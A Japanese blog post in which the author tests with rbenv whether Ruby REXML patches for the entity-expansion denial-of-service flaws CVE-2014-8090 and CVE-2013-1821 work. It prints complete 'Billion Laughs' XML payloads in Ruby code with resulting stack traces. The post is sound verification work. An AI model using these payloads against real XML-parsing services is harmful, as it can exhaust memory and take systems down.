ちょっとrubyを触りたいなと思って久しぶりにgem update
したら詰まった。
で、その詰まりは
OSX - Yosemiteにした時にSymbol not found: _SSLv2_client_method (LoadError)が出たら - Qiita
で解決したのでもういいのだが、じゃあ最新バージョンのrubyはいくつなのかなと思って調べたところ
CVE-2014-8090: REXML における XML 展開に伴う新たなサービス不能攻撃について
に行き着いた。
この脆弱性が新しいバージョンになることで本当に修正されたのかを確かめてみたい。
最新バージョンのrubyを入れる
幸いなことに
の中でrbenvの設定をやってて、別バージョンのrubyに簡単に切り替えられる。なので脆弱性が修正されたかどうかは同じコードを別バージョンのrubyで実行してみて、どんな挙動をするのかで見ることが出来る。上記記事で入れたまんまのバージョンだったので2.0.0-p451
しか入っておらず、今回の脆弱性が修正されたという2.0.0-p598
を新たに追加した。
$ rbenv install 2.0.0-p598 Downloading ruby-2.0.0-p598.tar.gz... -> http://dqw8nmjcqpjn7.cloudfront.net/4136bf7d764cbcc1c7da2824ed2826c3550f2b62af673c79ddbf9049b12095fd Installing ruby-2.0.0-p598... Installed ruby-2.0.0-p598 to /Users/kimikimi714/.rbenv/versions/2.0.0-p598 $ rbenv versions system * 2.0.0-p451 (set by /Users/kimikimi714/.rbenv/version) 2.0.0-p598 $ rbenv global 2.0.0-p598 $ rbenv rehash $ rbenv versions system 2.0.0-p451 * 2.0.0-p598 (set by /Users/kimikimi714/.rbenv/version)
検証
CVE-2014-8090: REXML における XML 展開に伴う新たなサービス不能攻撃について
によるとCVE-2013-1821が解決していなかったとのこと。
さらに
REXML におけるエンティティ展開に伴うサービス不能攻撃について (CVE-2013-1821)
によると「Billion Laughs」攻撃に似ているとあるので、試しに以下のようなコードを実行してみる。
require 'rexml/document' xml = <<XML <?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ELEMENT lolz (#PCDATA)> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> ]> <lolz>&lol3;</lolz> XML document = REXML::Document.new(xml) p document.root.text
&lol;
一個で文字列"lol"
が読み込まれるので&lol1;
を展開すると"lollollollollollollollollollol"
になり、さらに&lol2;
を展開すると"lollollollollollollollollollollollollollollブワァアア"
になる。こんな感じで指数関数的にXMLが展開されてメモリを食いつぶして死ぬ、という脆弱性。
試しに&lol3;
まで展開すると以下。
$ ruby 451.rb "lollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollol"
CVE-2014-8090: REXML における XML 展開に伴う新たなサービス不能攻撃について
に「再帰的エンティティ展開において、置換実行数および展開後文字列のサイズに制限を設けることによって対応しましたが、前者が正しく機能していませんでした。」とあり、展開個数が制限できていなかったみたいだ。
REXML におけるエンティティ展開に伴うサービス不能攻撃について (CVE-2013-1821)
に「このモンキーパッチは、エンティティ置換のサイズを1ノードあたり10Kbに制限します」とある。つまり1ノードあたりのメモリ制限が10KBというのは動いてる。でも「REXML は元々デフォルトでは 1 ドキュメントにつき 10000 エンティティの置換しか許可していない」とある部分がダメで、10の4乗以上展開可能だから&lol4;
でも空文字列をいれて動いちゃうということだ。
なので最初に貼った検証用コードを以下のように修正する。
require 'rexml/document' xml = <<XML <?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol ""> <!ELEMENT lolz (#PCDATA)> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz> XML document = REXML::Document.new(xml) p document.root.text
2.0.0-p451の場合
$ ruby -v ruby 2.0.0p451 (2014-02-24 revision 45167) [x86_64-darwin13.0.0] $ ruby cve-2014-8090.rb /Users/kimikimi714/.rbenv/versions/2.0.0-p451/lib/ruby/2.0.0/rexml/document.rb:277:in `record_entity_expansion': number of entity expansions exceeded, processing aborted. (RuntimeError) from /Users/kimikimi714/.rbenv/versions/2.0.0-p451/lib/ruby/2.0.0/rexml/text.rb:385:in `gsub' from /Users/kimikimi714/.rbenv/versions/2.0.0-p451/lib/ruby/2.0.0/rexml/text.rb:385:in `unnormalize' from /Users/kimikimi714/.rbenv/versions/2.0.0-p451/lib/ruby/2.0.0/rexml/entity.rb:79:in `unnormalized' from /Users/kimikimi714/.rbenv/versions/2.0.0-p451/lib/ruby/2.0.0/rexml/doctype.rb:133:in `entity' from /Users/kimikimi714/.rbenv/versions/2.0.0-p451/lib/ruby/2.0.0/rexml/text.rb:408:in `expand' from /Users/kimikimi714/.rbenv/versions/2.0.0-p451/lib/ruby/2.0.0/rexml/text.rb:386:in `block in unnormalize' from /Users/kimikimi714/.rbenv/versions/2.0.0-p451/lib/ruby/2.0.0/rexml/text.rb:385:in `gsub' from /Users/kimikimi714/.rbenv/versions/2.0.0-p451/lib/ruby/2.0.0/rexml/text.rb:385:in `unnormalize' (entity.rb:79からtext.rb:385までのエラースタックトレースが繰り返しでてくる) from /Users/kimikimi714/.rbenv/versions/2.0.0-p451/lib/ruby/2.0.0/rexml/entity.rb:79:in `unnormalized' from /Users/kimikimi714/.rbenv/versions/2.0.0-p451/lib/ruby/2.0.0/rexml/doctype.rb:133:in `entity' from /Users/kimikimi714/.rbenv/versions/2.0.0-p451/lib/ruby/2.0.0/rexml/text.rb:408:in `expand' from /Users/kimikimi714/.rbenv/versions/2.0.0-p451/lib/ruby/2.0.0/rexml/text.rb:386:in `block in unnormalize' from /Users/kimikimi714/.rbenv/versions/2.0.0-p598/lib/ruby/2.0.0/rexml/text.rb:385:in `gsub' from /Users/kimikimi714/.rbenv/versions/2.0.0-p451/lib/ruby/2.0.0/rexml/text.rb:385:in `unnormalize' from /Users/kimikimi714/.rbenv/versions/2.0.0-p451/lib/ruby/2.0.0/rexml/text.rb:247:in `value' from /Users/kimikimi714/.rbenv
&lol9;
とかを&lol10;
とかにどんどん増やしてみれば分かるが、出て来るスタックトレースの量が増えるので結局全部展開してしまっているっぽい。
2.0.0-p598の場合
$ ruby -v ruby 2.0.0p598 (2014-11-13 revision 48408) [x86_64-darwin13.4.0] $ ruby cve-2014-8090.rb /Users/kimikimi714/.rbenv/versions/2.0.0-p598/lib/ruby/2.0.0/rexml/document.rb:277:in `record_entity_expansion': number of entity expansions exceeded, processing aborted. (RuntimeError) from /Users/kimikimi714/.rbenv/versions/2.0.0-p598/lib/ruby/2.0.0/rexml/entity.rb:76:in `unnormalized' from /Users/kimikimi714/.rbenv/versions/2.0.0-p598/lib/ruby/2.0.0/rexml/doctype.rb:133:in `entity' from /Users/kimikimi714/.rbenv/versions/2.0.0-p598/lib/ruby/2.0.0/rexml/text.rb:408:in `expand' from /Users/kimikimi714/.rbenv/versions/2.0.0-p598/lib/ruby/2.0.0/rexml/text.rb:386:in `block in unnormalize' from /Users/kimikimi714/.rbenv/versions/2.0.0-p598/lib/ruby/2.0.0/rexml/text.rb:385:in `gsub' from /Users/kimikimi714/.rbenv/versions/2.0.0-p598/lib/ruby/2.0.0/rexml/text.rb:385:in `unnormalize' from /Users/kimikimi714/.rbenv/versions/2.0.0-p598/lib/ruby/2.0.0/rexml/entity.rb:79:in `unnormalized' from /Users/kimikimi714/.rbenv/versions/2.0.0-p598/lib/ruby/2.0.0/rexml/doctype.rb:133:in `entity' from /Users/kimikimi714/.rbenv/versions/2.0.0-p598/lib/ruby/2.0.0/rexml/text.rb:408:in `expand' from /Users/kimikimi714/.rbenv/versions/2.0.0-p598/lib/ruby/2.0.0/rexml/text.rb:386:in `block in unnormalize' from /Users/kimikimi714/.rbenv/versions/2.0.0-p598/lib/ruby/2.0.0/rexml/text.rb:385:in `gsub' from /Users/kimikimi714/.rbenv/versions/2.0.0-p598/lib/ruby/2.0.0/rexml/text.rb:385:in `unnormalize' (entity.rb:79からtext.rb:385までのエラースタックトレースが繰り返しでてくる) from /Users/kimikimi714/.rbenv/versions/2.0.0-p598/lib/ruby/2.0.0/rexml/entity.rb:79:in `unnormalized' from /Users/kimikimi714/.rbenv/versions/2.0.0-p598/lib/ruby/2.0.0/rexml/doctype.rb:133:in `entity' from /Users/kimikimi714/.rbenv/versions/2.0.0-p598/lib/ruby/2.0.0/rexml/text.rb:408:in `expand' from /Users/kimikimi714/.rbenv/versions/2.0.0-p598/lib/ruby/2.0.0/rexml/text.rb:386:in `block in unnormalize' from /Users/kimikimi714/.rbenv/versions/2.0.0-p598/lib/ruby/2.0.0/rexml/text.rb:385:in `gsub' from /Users/kimikimi714/.rbenv/versions/2.0.0-p598/lib/ruby/2.0.0/rexml/text.rb:385:in `unnormalize' from /Users/kimikimi714/.rbenv/versions/2.0.0-p598/lib/ruby/2.0.0/rexml/text.rb:247:in `value' from /Users/kimikimi714/.rbenv/versions/2.0.0-p598/lib/ruby/2.0.0/rexml/element.rb:452:in `text' from 451.rb:22:in `<main>'
あ、あれ??p-451と同じ結果になった…。動いちゃまずいんじゃないのかな。スタックトレースが増えてるんだが、これで修正されたのか?なんかよく分からなくなった…。
どうやったら修正されたかを確認できるか分かったら追記しよう…。
違うことを検証してみる
CVE-2014-8090の方はなおったのか分からなかったが、CVE-2013-1821が修正されたことは分かったので、どんなことをやったか書いておく。
REXML におけるエンティティ展開に伴うサービス不能攻撃について (CVE-2013-1821)
に「このモンキーパッチは、エンティティ置換のサイズを1ノードあたり10Kbに制限します」とあるとさっき書いてたが、この制限がなかったのがCVE-2013-1821だ。半角文字1個につき1byteだから<!ENTITY lol "10000個の半角文字">
が入ってれば殺せる。が、まぁ本当に殺すと私のPCが死ぬってことなので、とりあえず10KB * 10 ^ 3 = 10MBなので、10MBくらいのメモリを食うと思うコード(&lol3;
までを展開)を動かして挙動の違いを見てみよう。
今度は1.9.3でパッチをp194とp551を比較する。
1.9.3-p194の場合
$ ruby -v ruby 1.9.3p194 (2012-04-20 revision 35410) [x86_64-darwin13.4.0] $ ruby cve-2013-1821.rb (ギャ-文字列がいっぱい出て来るよー。死にそー。)
そもそも実行できてはいけない。
1.9.3-p551の場合
$ ruby -v ruby 1.9.3p551 (2014-11-13 revision 48407) [x86_64-darwin13.4.0] $ ruby cve-2013-1821.rb /Users/kimikimi714/.rbenv/versions/1.9.3-p551/lib/ruby/1.9.1/rexml/text.rb:388:in `block in unnormalize': entity expansion has grown too large (RuntimeError) from /Users/kimikimi714/.rbenv/versions/1.9.3-p551/lib/ruby/1.9.1/rexml/text.rb:385:in `gsub' from /Users/kimikimi714/.rbenv/versions/1.9.3-p551/lib/ruby/1.9.1/rexml/text.rb:385:in `unnormalize' from /Users/kimikimi714/.rbenv/versions/1.9.3-p551/lib/ruby/1.9.1/rexml/entity.rb:79:in `unnormalized' from /Users/kimikimi714/.rbenv/versions/1.9.3-p551/lib/ruby/1.9.1/rexml/doctype.rb:133:in `entity' from /Users/kimikimi714/.rbenv/versions/1.9.3-p551/lib/ruby/1.9.1/rexml/text.rb:408:in `expand' from /Users/kimikimi714/.rbenv/versions/1.9.3-p551/lib/ruby/1.9.1/rexml/text.rb:386:in `block in unnormalize' from /Users/kimikimi714/.rbenv/versions/1.9.3-p551/lib/ruby/1.9.1/rexml/text.rb:385:in `gsub' from /Users/kimikimi714/.rbenv/versions/1.9.3-p551/lib/ruby/1.9.1/rexml/text.rb:385:in `unnormalize' from /Users/kimikimi714/.rbenv/versions/1.9.3-p551/lib/ruby/1.9.1/rexml/entity.rb:79:in `unnormalized' from /Users/kimikimi714/.rbenv/versions/1.9.3-p551/lib/ruby/1.9.1/rexml/doctype.rb:133:in `entity' from /Users/kimikimi714/.rbenv/versions/1.9.3-p551/lib/ruby/1.9.1/rexml/text.rb:408:in `expand' from /Users/kimikimi714/.rbenv/versions/1.9.3-p551/lib/ruby/1.9.1/rexml/text.rb:386:in `block in unnormalize' from /Users/kimikimi714/.rbenv/versions/1.9.3-p551/lib/ruby/1.9.1/rexml/text.rb:385:in `gsub' from /Users/kimikimi714/.rbenv/versions/1.9.3-p551/lib/ruby/1.9.1/rexml/text.rb:385:in `unnormalize' from /Users/kimikimi714/.rbenv/versions/1.9.3-p551/lib/ruby/1.9.1/rexml/entity.rb:79:in `unnormalized' from /Users/kimikimi714/.rbenv/versions/1.9.3-p551/lib/ruby/1.9.1/rexml/doctype.rb:133:in `entity' from /Users/kimikimi714/.rbenv/versions/1.9.3-p551/lib/ruby/1.9.1/rexml/text.rb:408:in `expand' from /Users/kimikimi714/.rbenv/versions/1.9.3-p551/lib/ruby/1.9.1/rexml/text.rb:386:in `block in unnormalize' from /Users/kimikimi714/.rbenv/versions/1.9.3-p551/lib/ruby/1.9.1/rexml/text.rb:385:in `gsub' from /Users/kimikimi714/.rbenv/versions/1.9.3-p551/lib/ruby/1.9.1/rexml/text.rb:385:in `unnormalize' from /Users/kimikimi714/.rbenv/versions/1.9.3-p551/lib/ruby/1.9.1/rexml/text.rb:247:in `value' from /Users/kimikimi714/.rbenv/versions/1.9.3-p551/lib/ruby/1.9.1/rexml/element.rb:452:in `text' from 598.rb:16:in `<main>''
ちゃんとエラーになってくれたので、修正されたことが分かった。
結構ファンがキーーーンって言ってて実験するのも心臓に悪い感じだった。
明日はちょっと違うことをする。